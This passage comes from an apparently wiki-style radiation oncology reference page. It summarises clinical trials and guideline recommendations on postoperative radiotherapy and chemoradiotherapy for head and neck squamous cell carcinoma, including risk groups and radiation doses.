**Comment: some argument for definitive chemoRT instead of surgery and post-op RT since after 2 yrs, distant mets are primary cause of failure resulting in similar 10 OS in this trial. LRC still better for post-op vs definitive RT alone. Also, different doses used, at the time believed equivalent given the setting

*'''Univ. Florida; 1989''' (1964-84) - {{PMID|2912947}} &amp;mdash; &quot;Postoperative irradiation for squamous cell carcinoma of the head and neck: an analysis of treatment results and complications.&quot; (Amdur RJ, Int J Radiat Oncol Biol Phys. 1989 Jan;16(1):25-36.)
**Retrospective. 134 patients, 96% Stage III-IV. 
**Outcome: 5-year OS 33%. SM- 37% vs. SM+ 17% (SS); LRC SM- 81% vs. SM+ 53% (SS)

==Induction Chemotherapy==
===Unresectable Cancers of Head and Neck===
===Potentially-resectable Cancers of Head and Neck===
===Resectable Cancers of Head and Neck===
*'''SWOG 8006''' (1980-1985) -- Induction chemo vs. standard surgery + RT
**Randomized. 158 patients. Stage III-IV, resectable HNSCC (oral cavity, oropharynx, hypopharynx, larynx). Arm 1) Surgery + post-op RT vs. Arm 2) Induction cisplatin 50 mg/m2 + MTX + vincristine + bleomycin
**'''1988''' {{PMID|3054373}} -- &quot;Preoperative chemotherapy in advanced resectable head and neck cancer: final report of the Southwest Oncology Group.&quot; (Schuller DE, Laryngoscope. 1988 Nov;98(11):1205-11.) Median F/U 5 years
***Outcome: median OS induction chemo 1.5 years vs. control 2.5 years (NS)
***Conclusion: No benefit for induction chemo
*'''Chinese Trial; Zhong et al. 2013''' PMID: 23129742-- &quot;Induction chemo+/-RT vs. standard surgery + RT&quot; 
***Population: Single centre, RCT, Stage III-IVA resectable oral squamous cell cancers; 256 pts randomised 
***Intervention group: Induction Chemotherapy with TCF (Docetaxel, Cisplatin and 5FU)followed by surgery and post-op RT
***Control Group: Upfront Surgery with Post-operative radiotherapy. In both arms, Post-op RT was 54 to 60 Gy EBRT, those with high risk features (defined as positive margins, ECE and vascular invasion) were given 66 Gy of EBRT(no chemoradiation was given)
***Conclusion: Similar outcome.Response rate: 80.6%  ; pCR rate:?;Toxicity:None with Grade III or IV;Post-op Complications: Similar; Recurrence Rate: Similar; Survival: DFS and OS are similar.

==Surgery alone vs Postop RT==
*For patients with locally advanced disease, surgery + postop RT has been widely practiced since Maccomb and Fletcher publication in 1957
*Two small randomized trials suggested improvement in LRC for postop RT over surgery alone. Similarly, several single institution retrospective series showed benefit for improved LRC
*SEER analysis suggests that postop RT in patients with LN+ results in 5-year CSS/OS increase by 10%. Surgery alone cures a third of patients, adjuvant RT adds 10% survival benefit, although this varies dramatically by site and nodal stage
*Current indications include pT3-T4, pN2-N3 disease, nodal disease in Levels IV-V, PNI+, or LVI+


*'''Mt. Sinai/SEER analysis''' (1988-2001)
**'''Overall; 2008''' {{PMID|18076014}} -- &quot;Adjuvant radiotherapy improves overall survival for patients with lymph node-positive head and neck squamous cell carcinoma.&quot; (Lavaf A, Cancer. 2008 Feb 1;112(3):535-43.)
***Population based SEER analysis. 8795 patients, HNSCC, treated with surgery, pN+. excluded nasopharynx. Use of chemo not tracked, but trials showing benefit not published until 2004. Median F/U 4.7 years
***Outcome: Adjuvant RT used in 84% (preop 7%, postop 89%). 5-year OS surgery alone 33% vs. surgery + RT 43% (SS); 5-year CSS 42% vs. 51% (SS)
***Conclusion: Adjuvant RT improved 5-year CSS and OS by 10%
**'''By site; 2008''' {{PMID|18164833}} -- &quot;Adjuvant radiotherapy and survival for patients with node-positive head and neck cancer: an analysis by primary site and nodal stage.&quot; (Kao J, Int J Radiat Oncol Biol Phys. 2008 Jun 1;71(2):362-70. Epub 2007 Dec 31.)
***Population based SEER analysis. 5297 patients, HNSCC, treated with surgery, pN+
***Outcome: Adjuvant RT 81%. 5-year OS surgery 35% vs. surgery + RT 46% (SS)
****By nodal stage: 5-year OS N1 44% vs. 52% (SS); N2a 28% vs. 44% (SS); N2b 18% vs. 42% (SS); N2c-N3 22% vs. 34% (SS)
****By primary site: 5-year OS oral cavity 30% vs. 34% (NS); oropharynx 53% vs. 62% (SS); larynx 31% vs. 43% (SS); hypopharynx 24% vs. 39% (SS)
***Multivariate predictors: adjuvant RT, age, primary site, nodal stage, tumor stage, marital status
***Conclusion: Adjuvant RT significantly improves overall survival; all stages including N1 appear to benefit

*'''Mayo Clinic; 1998''' (1974-1990) {{PMID|9486600}} -- &quot;Combined neck dissection and postoperative radiation therapy in the management of the high-risk neck: a matched-pair analysis.&quot; (Lundahl RE, Int J Radiat Oncol Biol Phys. 1998 Feb 1;40(3):529-34.)
**Retrospective, matched pair. 95 patients with pN+ who underwent postop RT (N1 17%, N2 80%, N3 3%). Median RT dose 55 Gy. Compared with previously published 284 patients treated with neck dissection alone, as matched pairs. Median F/U 5.3 years
**Outcome: Relative risk for dissected neck recurrence 5.8, any neck recurrence 4.7, cancer related death 2.2, and any death 1.7.
**Conclusion: Postop RT for high-risk neck can reduce negative outcomes

*'''Orissa, India''' -- surgery +/- postop RT
**'''1996''' {{PMID|8903493}} -- &quot;Post-operative radiotherapy in carcinoma of buccal mucosa, a prospective randomized trial.&quot; (Mishra RC, Eur J Surg Oncol. 1996 Oct;22(5):502-4.)
**Randomized. Locally advanced SCC of buccal mucosa. Arm 1) surgery only vs. Arm 2) postoperative RT
***Outcome: DFS surgery alone 38% vs. postop RT 68% (SS)
***Conclusion: Postop RT improves DFS in SCC of buccal mucosa

*'''City of Hope''' (1981-1984) -- surgery +/- postop RT
**Randomized. ''Stopped early due to lack of benefit at interim analysis.'' 51 patients, stage III-IV SCC of oral cavity, pharynx, or larynx. Arm 1) surgery alone vs. Arm 2) surgery + postop RT
**'''1988''' {{PMID|3288812}} -- &quot;Postoperative radiation as adjuvant treatment for carcinoma of the oral cavity, larynx, and pharynx: preliminary report of a prospective randomized trial.&quot; (Kokal WA, J Surg Oncol. 1988 Jun;38(2):71-6.) Median F/U 2.5 years
***Outcome: Recurrence rate surgery alone 56% vs. postop RT 37% (NS); trend due to higher recurrence rate in contralateral nonoperated neck (5% vs. 15%). No difference in DFS or OS
***Conclusion: Adjuvant postop RT doesn't improve DFS or OS; trend toward better control
***Comment: Lack of benefit ascribed to low dose of RT prescribed (see {{PMID|9486600}} for discussion) 

*'''MD Anderson; 1957''' {{PMID|13403033}} -- &quot;Planned combination of surgery and radiation in treatment of advanced primary head and neck cancers.&quot; (Maccomb WS, Am J Roentgenol Radium Ther Nucl Med. 1957 Mar;77(3):397-414.)

==Post-op Chemotherapy + Radiation==
*Historically, resectable locally advanced HNSCC were treated with surgery + adjuvant RT. Unfortunately, recurrence rates were ~30%, DM rates ~25%, and 5-year OS was ~30%. Majority of recurrences were loco-regional. Patients with SM+ did particularly poorly
*RTOG 85-03(1992,IJROBP)evaluated sequential post-op cisplatin/5-FU followed by RT. There was no benefit in loco-regional control or overall survival
*Meanwhile, early randomized data from Yale (1993,IJROBP) showed an LRC and DFS benefit for concurrent mitomycin C. The LRC and DFS benefit, though without impact on OS, was confirmed in a study from Slovenia evaluating adjuvant mitomycin C and bleomycin
*An early randomized French trial (Bachaud, 1996, IJROBP) demonstrated a survival benefit with concurrent cisplatin
*Concurrent cisplatin with RT was subsequently evaluated in two large randomized trials in US (RTOG 95-01) and Europe (EORTC 22931). The EORTC trial showed significantly better LRC, DFS and OS; the RTOG trial showed significantly better LRC and DFS without impact on OS. Patients had &quot;high-risk&quot; features, which variously included SM+, LN+, ECE, PNI+, LVI+, and T3-4 disease. Joint analysis showed significant benefit for ECE+ or SM+ disease
*Current NCCN recommendations (v2.2008) specify ECE+ or SM+ for concurrent chemo-RT; patients with pT3-T4, pN2-N3, nodal disease in levels IV-V, PNI+ or LVI+ may be treated with RT alone or considered individually for chemo-RT
*However, concurrent cisplatin may be reasonably toxic and a concurrent carboplatin was evaluated. Two trials were closed early due to slow accrual; analysis of the smaller data sets revealed no impact on DFS or OS
*to be continued ...


===Post-op Sequential Chemo + RT===
*'''RTOG 85-03 / Intergroup 0034''' (1984-1989) -- cisplatin/5-FU
**Randomized. 442 patients. Completely resected tumors of oral cavity, oropharynx, hypopharynx, or larynx. R2 excision not allowed. Arm 1) Post-op RT alone vs Arm 2) Post-op chemotherapy (cisplatin/5-FU x 3 courses q3wk) followed by RT. RT dose 50-54 Gy; boost to 60 Gy for close margins (&lt;5mm) or ECE.
**'''1992''' {{PMID|1618662}} &amp;mdash; &quot;Adjuvant chemotherapy for resectable squamous cell carcinomas of the head and neck: report on Intergroup Study 0034.&quot; (Laramore GE, Int J Radiat Oncol Biol Phys. 1992;23(4):705-13.) Median F/U 3.8 years
***Outcome: 4-year OS RT 44% vs. chemo-RT 48% (NS); DFS 38% vs. 46% (NS); LRC 70% vs. 74% (NS); reduced first failure in neck 10% vs. 5% (SS), DM 23% vs. 15% (SS)
***Subgroup analysis of high-risk group (margins &lt; 5mm, CIS at margin, ECE) showed a trend to improvement in LC with chemo. So it may be important to select high-risk group to see a benefit from chemo.
***Conclusion: No benefit for adjuvant sequential chemo-RT over RT alone

*'''RTOG 81-16''' -- cisplatin/5-FU
**Phase I/II. Sequential chemotherapy. Two studies (A&amp;B): A) Induction cisplatin/5-FU + surgery + RT (42 patients); B) surgery + sequential cisplatin/5-FU x3 cycles + RT (29 patients) 
**'''1989''' {{PMID|2499175}} &amp;mdash; &quot;Chemotherapy following surgery for head and neck cancer. A Radiation Therapy Oncology Group Study.&quot; (Jacobs JR, Am J Clin Oncol. 1989 Jun;12(3):185-9.)
***Conclusion: Sequential post-op chemo-RT is feasible
**'''1991''' {{PMID|1998567}} -- &quot;5-year results of cisplatin and fluorouracil infusion in head and neck cancer.&quot; (Jacobs JR, Arch Otolaryngol Head Neck Surg. 1991 Mar;117(3):288-91.)
***Outcome: median OS induction group 1.7 years, adjuvant group 2.6 years. 65% of induction chemo group didn't undergo surgery as planned. 5-year OS no difference 27% vs. 23%

*'''Loma Linda''' (1979-1983) -- induction/sequential adjuvant MTX
**Randomized. 55 patients. Potentially resectable SCCHN. Arm 1) Surgery + RT vs. Arm 2) Induction MTX x4 doses then surgery then MTX x4 doses then RT then MTX x8 doses. RT 60 Gy or 65 Gy with close SM
**'''1987''' {{PMID|3806169}} -- &quot;Adjuvant methotrexate escalated to toxicity for resectable stage III and IV squamous head and neck carcinomas--a prospective, randomized study.&quot; (Rentschler RE, J Clin Oncol. 1987 Feb;5(2):278-85.)
***Outcome: No difference in DFS or OS (numbers not given); no difference in sites of recurrence
***Conclusion: No benefit for sequential MTX

===Post-op Concurrent Chemo-RT===
*'''RTOG H-0024''' (2001-3) - early chemo followed by chemo/RT
**Phase II. 70 pts. Taxol (80 mg/m2) weekly x 3, beginning postop day 7-14. RT begins the following week (i.e. during week 5-6). Dose: 60 Gy (range 58-66 Gy), 2Gy/fx. During last 3 weeks, cisplatin (20 mg/m2) + taxol (30 mg/m2) weekly.
**'''2009''' {{PMID|19720915}} -- &quot;Early postoperative paclitaxel followed by concurrent paclitaxel and cisplatin with radiation therapy for patients with resected high-risk head and neck squamous cell carcinoma: report of the phase II trial RTOG 0024.&quot; (Rosenthal DI, J Clin Oncol. 2009 Oct 1;27(28):4727-32.)
***Median f/u 3.3 yrs. Compared with historical control of RTOG 95-01, LRC, DFS, and OS are improved.
***Early post-operative chemo and chemo/RT is feasible and tolerable. 

*'''Slovenia''' (1997-2001) -- mitomycin C and bleomycin
**Randomized. 114 patients, Stage III-IV SCCHN (oral cavity, oropharynx, hypopharynx, larynx). Primary curative surgery. Arm 1) Post-op RT (56 Gy if R0, 66-70 Gy if R1-2) vs. Arm 2) Same RT + concurrent mitomycin C and bleomycin. Stratified in regular risk and high risk (ECE, PNI, LVI, R1-2)
**'''2-years; 2003''' {{PMID|12829141}} -- &quot;Postoperative concomitant irradiation and chemotherapy with mitomycin C and bleomycin for advanced head-and-neck carcinoma.&quot; (Smid L, Int J Radiat Oncol Biol Phys. 2003 Jul 15;56(4):1055-62.) Median F/U 2.7 years
***Outcome: 2-year LRC chemo-RT 86% vs. RT alone 69% (SS); DFS 76% vs. 60% (NS); OS 74% vs. 64% (SS). Benefit in high risk patients 
***Conclusion: Concomitant chemo-RT with mitomycin C and bleomycin improves LRC and OS
**'''5-years; 2007''' {{PMID|17197122}} -- &quot;Patterns of failure in patients with locally advanced head and neck cancer treated postoperatively with irradiation or concomitant irradiation with Mitomycin C and Bleomycin.&quot; (Zakotnik B, Int J Radiat Oncol Biol Phys. 2007 Mar 1;67(3):685-90. Epub 2006 Dec 29.)
***Outcome: 5-year LRC chemo-RT 88% vs. RT alone 65% (SS), DFS 53% vs. 33% (SS), OS 55% vs. 37% (NS). No difference in DM rate (20% vs. 22%, NS). Second malignancy chemo-RT 8% vs. RT 34% (SS)
***Toxicity: Grade 3+ chemo-RT 26% vs. RT 19% (NS), thyroid dysfunction 56% vs. 36% (NS)
***Conclusion: Concomitant chemo-RT improves LRC and DFS; second primaries less frequent

*'''Multi-Institutional''' -- Carboplatin
**Randomized. (Pittsburgh, Michigan, Cinncinati). ''Closed early due to slow accrual.'' 72 patients. Macroscopically resected, Stage III/IV SCCHN, high risk features (SM+, &gt;= 3 LN+, ECE, PNI, LVI). Arm 1) post-op RT alone vs. Arm 2) post-op RT + concurrent carboplatin 100 mg/m2 QW. RT 59.4/33. Median F/U 5.3years
**'''2007''' {{PMID|18091334}} -- &quot;Long-Term Results of a Phase III Randomized Trial of Postoperative Radiotherapy With or Without Carboplatin in Patients With High-Risk Head and Neck Cancer.&quot; (Argiris A, Laryngoscope. 2007 Dec 12 [Epub ahead of print])
***Outcome: 5-year DFS RT alone 53% vs. RT + carboplatin 41% (NS); OS 47% vs. 41% (NS)
***Toxicity: Infrequent in both arms
***Conclusion: No benefit with addition of carboplatin, possibly due to small sample size. Well tolerated.

*'''ARO 96-3''' (Germany)(1997-2004) -- cisplatin + 5-FU 
**Randomized. 440 patients with high-risk SCCA (3+ LN, ECE, SM+). Arm 1) RT alone vs. Arm 2) RT with concurrent cisplatin/5-FU. RT 66/33. Chemo cisplatin 20 mg/m2 and 5-FU 600 mg/m2 both day 1-5 and 29-33
**'''5-years; 2006''' &lt;u&gt;[http://www.asco.org/portal/site/ASCO/menuitem.34d60f5624ba07fd506fe310ee37a01d/?vgnextoid=76f8201eb61a7010VgnVCM100000ed730ad1RCRD&amp;vmview=abst_detail_view&amp;confID=40&amp;abstractID=32764 ASCO Abstract]&lt;/u&gt; -- &quot;Postoperative concurrent radiochemotherapy versus radiotherapy in high-risk SCCA of the head and neck: Results of the German phase III trial ARO 96-3.&quot; (Fietkau R, Journal of Clinical Oncology, 2006 ASCO Annual Meeting Proceedings Part I. Vol 24, No. 18S (June 20 Supplement), 2006: 5507)
***Outcome: 5-year LRC RT 72% vs. chemo-RT 89% (SS); PFS 50% vs. 62% (SS); OS 49% vs. 58% (NS)
***Toxicity: Grade 3+ mucositis RT 13% vs. 21% (SS)
***Conclusion: Post-op concurrent chemo-RT improves LRC and PFS

*'''RTOG 95-01 / Intergroup''' (1995-2000) -- cisplatin 
**Randomized. 416 patients. Oral cavity, oropharynx, larynx, hypopharynx. Macroscopically complete resection. High risk (2 or more positive lymph nodes, or ECE, or SM+). Arm 1) RT alone vs RT with concurrent cisplatin (100 mg/m2 Q3W x 3 cycles). RT 60/30 plus optional boost to 66/33 high-risk areas. High risk groups: 81% with 2+ LN or ECE+; 19% with positive margins. Primary endpoint LRC.
**'''2-years; 2002''' &lt;u&gt;Abstract&lt;/u&gt; #903, ASCO 2002 - Cooper et al. [http://play.rbn.com/play.ram?url=irbs/RBNCRM/ASTRO/g2demand/plenary/play91.smil&amp;mode=compact&amp;proto=rtsp Video webcast] [http://play.rbn.com/play.ram?url=irbs/RBNCRM/ASTRO/g2demand/plenary/play120.smil&amp;mode=compact&amp;proto=rtsp Video webcast: Discussion] Median F/U 2.2 years
***Outcome: 2-year LRC chemo-RT 79% vs. RT 74% (NS); DFS 63% vs. 442% (SS), OS 63% vs. 57% (NS)
***Toxicity: 2% treatment-related deaths from chemo/RT. 
**'''2-years; 2004''' {{PMID|15128893}} &amp;mdash; &quot;Postoperative concurrent radiotherapy and chemotherapy for high-risk squamous-cell carcinoma of the head and neck.&quot; (Cooper JS et al. N Engl J Med. 2004 May 6;350(19):1937-44.). Median F/U 3.7 years
***Outcome: 2 year LRC chemo-RT 82% vs. RT 72% (SS), DFS significantly increased with a HR of 0.78 (2-year estimates not reported), but OS not significantly different.
***Toxicity: acute Grade 3+ chemo-RT 77% vs. RT 34% (SS); late effects 21% vs. 17% (NS); 2% treatment-related death, all in chemo-RT group
***Conclusion: In high risk patients, postop concurrent chemo-RT improves LRC and DFS. Toxicity is substantially higher
**Comment: Higher percentage of patients with oropharynx primaries than EORTC trial, which may explain why radiation alone arm did better compared to EORTC.
**Also [[Radiation Oncology/Head &amp; Neck/Post-op#High-risk groups|see below]] for combined EORTC/RTOG analysis

*'''EORTC 22931''' (1994-2000) -- cisplatin 
**Randomized. 334 patients. Oral cavity, oropharynx, hypopharynx, or larynx. T3-4 any N with negative margins (except T3N0 of larynx); T1-2 N2-3; T1-2 N0-1 with high-risk features (ECE, SM+, PNI, LVI); or oral cavity/oropharynx with LN+ at levels IV or V. Arm 1) RT alone vs. Arm 2) RT + concurrent cisplatin 100 mg/m2 Q3W. RT dose 54/27 +  boost to 66 Gy high risk areas. High risk groups: 56% with 2+ LN; 26% with positive margins; 53% with extracapsular extension. Primary end-point PFS.
**'''5-years; 2004''' {{PMID|15128894}} - &quot;Postoperative irradiation with or without concomitant chemotherapy for locally advanced head and neck cancer.&quot; (Bernier J, N Engl J Med. 2004 May 6;350(19):1945-52.) Median F/U 5 years
***Outcome: 5-year PFS chemo-RT 47% vs RT 36% (SS); OS 53% vs 40% (SS); LRC 82% vs 69% (SS). No difference in DM rate (21% vs. 25%, NS). 
***Toxicity: minor differences
***Conclusion: Post-op concurrent cisplatin with RT is more efficacious in locally advanced H&amp;N, without significantly more complications
**Comment: Patients selected on basis of both pathologic factors (surgical margin, extracapsular extension) and clinical factors (T-stage and N-stage). Very high risk patients (T3-T4 with SM+) were excluded.
**Also [[Radiation Oncology/Head &amp; Neck/Post-op#High-risk groups|see below]] for combined EORTC/RTOG analysis

*'''France''' (1994-2002) -- carboplatin
**Randomized. ''Stopped early after publication of a French trial (Bachaud)''. 144 patients, oropharynx (49%), hypopharynx (29%), larynx (22%), T1-4N0-3, macroscopic resection. Surgery + neck dissection. Arm 1) RT vs. Arm 2) RT + concurrent carboplatin 50mg/m2 BIW. RT 54 Gy if R0, 72 Gy if R1, bilateral neck 54 Gy, ECE boost 9 Gy.
**'''2008''' {{PMID|18222010}} -- &quot;Randomized clinical trial of post-operative radiotherapy versus concomitant carboplatin and radiotherapy for head and neck cancers with lymph node involvement.&quot; (Racadot S, Radiother Oncol. 2008 Jan 24 [Epub ahead of print]). Median F/U 8.8 years
***Outcome: 2-year LRC RT alone 68% vs. chemo-RT 73% (NS), worse for oropharynx vs. larynx; OS 55% vs. 58% (NS)
***Conclusion: Concurrent carboplatin BIW showed no benefit

*'''RTOG 88-24''' (1989-1990) -- cisplatin
**Phase II. 51 patients. Resectable, Stage III-IV HNSCC (oral cavity, oropharynx, hypopharynx, larynx). Stage IV 84%, SM+ 53%. RT 60/30 with concurrent cisplatin 100 mg/m2 q3weeks. 
**Compared results with historic data of sequential chemo/RT (INT 0034).  No significant difference in survival compared with INT 0034.
**'''1997''' {{PMID|9128951}} -- &quot;Postoperative radiotherapy with concurrent cisplatin appears to improve locoregional control of advanced, resectable head and neck cancers: RTOG 88-24.&quot; (Al-Sarraf M, Int J Radiat Oncol Biol Phys. 1997 Mar 1;37(4):777-82.)
***Outcome: 3-year OS 48%, LRC 81%, DM-free 57%
***Toxicity: Grade 3 20%, Grade 4 12%
***Conclusion: Post-op concurrent cisplatin with RT may improve LRC

*'''France''' (1984-88) -- cisplatin
**Randomized. ''Closed early due to slow accrual due to increasing use of neoadjuvant chemotherapy.'' 83 patients. Stage III-IV oral cavity, oropharynx, hypopharynx, larynx, or unknown primary, LN+ with ECE. Arm 1) RT alone vs. Arm 2) RT + cisplatin 50 mg/m2 QW. RT 65-70 Gy (1.7 Gy/fx), neck 54 Gy 
**'''1996''' {{PMID|8985019}} &amp;mdash; &quot;Combined postoperative radiotherapy and weekly cisplatin infusion for locally advanced head and neck carcinoma: final report of a randomized trial.&quot; (Bachaud JM et al. Int J Radiat Oncol Biol Phys. 1996 Dec 1;36(5):999-1004.) 
***Outcome: LRF RT alone 41% vs. chemo-RT 23% (p=0.08), similar DM rate, 2-year OS 46% vs. 72% (SS), 5-year OS 13% vs. 36% (SS)
***Severe late toxicity: RT alone 15% vs. chemo-RT 20%
***Conclusion: Improved survival with concurrent cisplatin

*'''Yale''' (1980-92) -- Mitomycin C
**Randomized. 2 consecutive randomized trials. 113 patients, treated with surgery. Arm 1) RT vs. Arm 2) RT with concurrent Mitomycin C 15 mg/m2 x 1-2 doses. Second trial: Arm 1) RT vs. Arm 2) RT + Mitomycin C with dicoumarol.
**'''5-years; 1993''' {{PMID|7691784}} -- &quot;Mitomycin C as an adjunct to postoperative radiation therapy in squamous cell carcinoma of the head and neck: results from two randomized clinical trials.&quot; (Haffty BG, Int J Radiat Oncol Biol Phys. 1993 Sep 30;27(2):241-50.) Median F/U 7.7 years
***Outcome: LRC mitomycin C 87% vs. control 67% (SS), DFS 67% vs. 44%, OS 56% vs. 41% (NS). No local failures in Mitomycin C arm vs. 12 in RT alone
***Conclusion: Concurrent Mitomycin C with RT results in improved DFS, and LRC benefit

===Pending===
*'''RTOG 02-34''' (ongoing) - A phase II randomized trial of surgery followed by chemoradiotherapy plus C225 (cetuximab) for advanced squamous cell carcinoma of the head and neck.

*'''RTOG 09-20''' (ongoing) - A phase III  randomized trial of surgery followed by radiotherapy  (IMRT) +/- cetuximab  for intermediate risk HN SCCA

==Pathologic N1 Disease==
*'''Louvain, Belgium; 2009''' (1990-2002) {{PMID|18648835}} -- &quot;Results of selective neck dissection in the primary management of head and neck squamous cell carcinoma.&quot; (Schmitz S, Eur Arch Otorhinolaryngol. 2009 Mar;266(3):437-43. Epub 2008 Jul 22.)
**Retrospective. 146 patients, unilateral/bilateral selective neck dissection in 249 necks. Median F/U 3.1 years
**Outcome: 25% cN0 patients were pN+. Regional recurrence 3% overall, dissected 2% and undissected 1%. pN0 failure rate 1%. pN1 failure rate without PORT 9% vs with PORT 5%. ECE in 16%, almost all treated with PORT, but failure rate still 22%
**Conclusion: Selective node dissection reliable to stage cN0 neck, and as definitive operation for pN0, most pN1 and pN2b necks. PORT not justified for pN1 but justified for pN2b and ECE

*'''Gottingen, Germany; 2008''' (1986-2002) {{PMID|18302275}} -- &quot;Value of postoperative radiotherapy in patients with pathologic N1 neck disease.&quot; (Jackel MC, Head Neck. 2008 Jul;30(7):875-82.)
**Retrospective. 118 patients, H&amp;N cancer, curative surgery, pN1 disease without ECE. Majority had selective neck dissection (Level II-III 63%, Level I-III 19%, Level II-IV 15%). Postop RT in 20%, postop chemo-RT 19%; less postop therapy since 1995. 
**Outcome: Regional control: Isolated nodal failure 7% (surgery 10% vs. postop RT 2%), all nodal failures 16% (21% vs. 9%). 3-year neck reccurence rate surgery alone 11% vs. postop RT 3% (NS)
**Conclusion: Data suggest a trend to improved regional control for pN1 with postop RT

==Radiation technique==
===High-risk groups===
Recommendations for postoperative RT or chemo/RT:
*NCCN v2011.2
**Lip: 
***Postoperative RT: multiple positive nodes, PNI or LVI. (Optional RT if 1 LN+.)
***Postoperative chemoRT: ECE, positive margin
**Oral cavity: 
***Postoperative RT: pT3 or pT4, N2 or N3, nodal disease in levels IV or V, PNI or LVI. (Optional RT if 1 LN+.)
***Postoperative chemoRT: ECE, positive margin
**Oropharynx: 
***Postoperative RT: positive margin, pT3 or pT4, N2 or N3, nodal disease in levels IV or V, PNI or LVI. (Optional RT if 1 LN+.)
***Postoperative chemoRT: ECE (any); or positive margin (only if T3-T4 or N2-3)
**Hypopharynx: 
***Postoperative RT: pT3 or pT4, N2 or N3, PNI or LVI. 
***Postoperative chemoRT: ECE, positive margin
**Larynx, glottic: 
***Postoperative RT: pT4, N2 or N3, PNI or LVI. 
***Postoperative chemoRT: ECE, positive margin
**Supraglottic larynx: 
***Postoperative RT: positive margin, pT4, N2 or N3, PNI or LVI. (Optional RT if 1 LN+, Optional RT for T3N0-1)
***Postoperative chemoRT: ECE, positive margin


*Historical risk factors: Primary disease site ({{PMID|5014916}}), surgical margins ({{PMID|755803}}), perineural invasion ({{PMID|476992}}), number and location of positive nodes ({{PMID|1015542}}), extracapsular extension ({{PMID|7316852}})
*Peters: Risk factors included oral cavity, close or positive margins, nerve invasion, 2 or more positive nodes, largest node &gt; 3 cm, extracapsular extension, Zubrod score 2 or more, delay in starting radiotherapy of more than 6 weeks.
**Intermediate risk - 1 risk factor, excluding ECE
**High risk - 2 or more factors, or ECE
*Joint RTOG 85-03 and 88-24 analysis: 
**Intermediate risk - extracapsular extension or 2+ involved lymph nodes
**High risk - positive surgical margin
*Joint EORTC/RTOG analysis: 
**High risk - Extracapsular extension or positive surgical margin
*Treatment recommendations: 
**NCCN v1.2010
***Postoperative RT: pT4, N2-N3, nodal disease in Levels IV or V, perineural invasion, lymphovascular invasion
***Postoperative chemo-RT (cisplatin 100 mg/m2 Q3W): extracapsular extension, positive surgical margins, also consider based on clinical data for patients as above for postop RT
**NCCN v2.2008
***Postoperative RT: pT3-pT4, N2-N3, nodal disease in Levels IV or V, perineural invasion, lymphovascular invasion
***Postoperative chemo-RT (cisplatin 100 mg/m2 Q3W): extracapsular extension, positive surgical margins, also consider based on clinical data for patients as above for postop RT
**Perez &amp; Brady (5th ed):
***Postoperative RT: close/positive margins, &gt;1cm subglottic extension, cartilage invasion, perineural invasion, lymphovascular invasion, extension of primary into soft tissues of the neck, multiple positive nodes, extracapsular extension, control of subclinical disease in opposite neck
**UpToDate (2010):
***Postoperative RT: Advanced T stage (T3/T4), positive or close margins (no consensus on definition, but at least included true positive margin and CIS at the margin, with consideration for tumor &lt;5mm, and premalignant change at margin), lymph node involvement, extracapsular nodal extension, involvement of bone, perineural involvement, lymphovascular invasion, cartilage invasion


*'''''Intermediate Risk Group:'''''
**'''RTOG 0920''' - Eligibility: T1N1-2, T2-3N0-2 (site: OC, OP, Larynx)
***Have at least 1 intermediate risk factor: PNI, LVI, &amp;ge;2 positive LNs, single lymph node &gt; 3 cm, close surgical margins (&lt;5 mm), T3 or T4a (microscopic) primary, T2 oral cavity tumor with &gt;5 mm depth of invasion.  Cannot have: positive margins, ECE, or gross residual disease.
***This subgroup of pts with intermediate risk is predicted to have a LRF rate of 15-35% with post-op RT only.
***Phase III. RT (60-66 Gy) +/- cetuximab (concurrent, plus 4 weeks post-RT)


*'''EORTC / RTOG Joint Analysis; 2005''' {{PMID|16161069}} &amp;mdash; &quot;Defining risk levels in locally advanced head and neck cancers: a comparative analysis of concurrent postoperative radiation plus chemotherapy trials of the EORTC (#22931) and RTOG (# 9501).&quot; (Bernier J, Head Neck. 2005 Oct;27(10):843-50.)
**Retrospective subgroup analysis of combined data from postop chemo-RT trials EORTC 229131 and RTOG 9501. Both trials concomitant cisplatin 100 mg/m2 Q3W and RT 60-66 Gy. Difference in &quot;high-risk&quot;: EORTC SM+ , ECE, clinical involvement of Level IV-V from oral cavity/oropharynx primary, perineural disease, or vascular embolism vs. RTOG SM+, ECE, 2+ LN. Difference in endpoints: EORTC PFS vs RTOG LRC. Difference in dose: EORTC 66 Gy in 91% vs RTOG 66 Gy in 13%. 
**Risk factors: ECE or SM+ had negative impact on OS. No other factors (2+ lymph nodes, PNI+, LVI+, Stage III-IV disease) showed difference
***LRC: Pooled risk reduction 42% (SS). If SM+/ECE+, risk reduction 48%. If other factors, reduction not significant (EORTC 58%, p=0.1; RTOG 18%, p=0.5)
***DFS: Pooled risk reduction 23% (SS). If SM+/ECE+, risk reduction 30%. If other factors, reduction not significant (EORTC 25%, p=0.3; RTOG 8%, p=0.7)
***OS: Pooled risk reduction 28% (SS). If SM+/ECE+, risk reduction 30% (SS). If other factors, reduction not significant (EORTC 25%, p=0.06; RTOG 6%, p=.07)
**Conclusion: Significant benefit for chemo-RT over RT in patients with extracapsular extension or SM+, but benefit not significant for 2+ lymph nodes, PNI+, LVI+ or Stage III-IV disease

*'''RTOG 8503/8824 Joint Analysis''' - {{PMID|9744457}} &amp;mdash; &quot;Precisely defining high-risk operable head and neck tumors based on RTOG #85-03 and #88-24: targets for postoperative radiochemotherapy?&quot; (Cooper JS, Head Neck. 1998 Oct;20(7):588-94.)
**Retrospective. Data collected from RTOG 85-03 (INT 0034) and RTOG 88-24, which were sequential and concurrent chemo-radiotherapy trials for post-op H&amp;N cancers
**New risk factors grouping: Group 1: no risk features; Group 2: 2+ lymph nodes or ECE; Groups 3: SM+
**Outcome: 5-year LRR 17% vs. 27% vs 61%; Median OS 5.6 years vs. 2.6 years vs. 1.5 years
**Conclusion: Suggested benefit for concurrent chemo-radiotherapy with a 50% decrease in local-regional recurrence, but only a small increase in survival (18% reduction in death rate).

===Radiotherapy dose===
*Fletcher: 60 Gy 
*Peters, 1993: 63 Gy for ECE+, otherwise 57.6 Gy
*RTOG 9501: 60 Gy +/- 6 Gy boost (given in 13%)
*EORTC 22931: 66 Gy to high risk region, 54 Gy to large field
*Recommendations (NCCN v2.2008):
**Primary: &gt;= 60 Gy in 2 Gy/fx
**Involved nodal stations: &gt;= 60 Gy in 2 Gy/fx
**Uninvolved nodal stations: &gt;= 50 Gy in 2 Gy/fx


*Fletcher recommended 50 Gy in 25 fractions to control microscopic disease in an ''undissected'' neck. But Fletcher recommended 60 Gy in 30 fractions for a post-operative neck because of hypoxia due to disturbed vascular supply (in the ''Textbook of Radiotherapy, 2nd edition'').


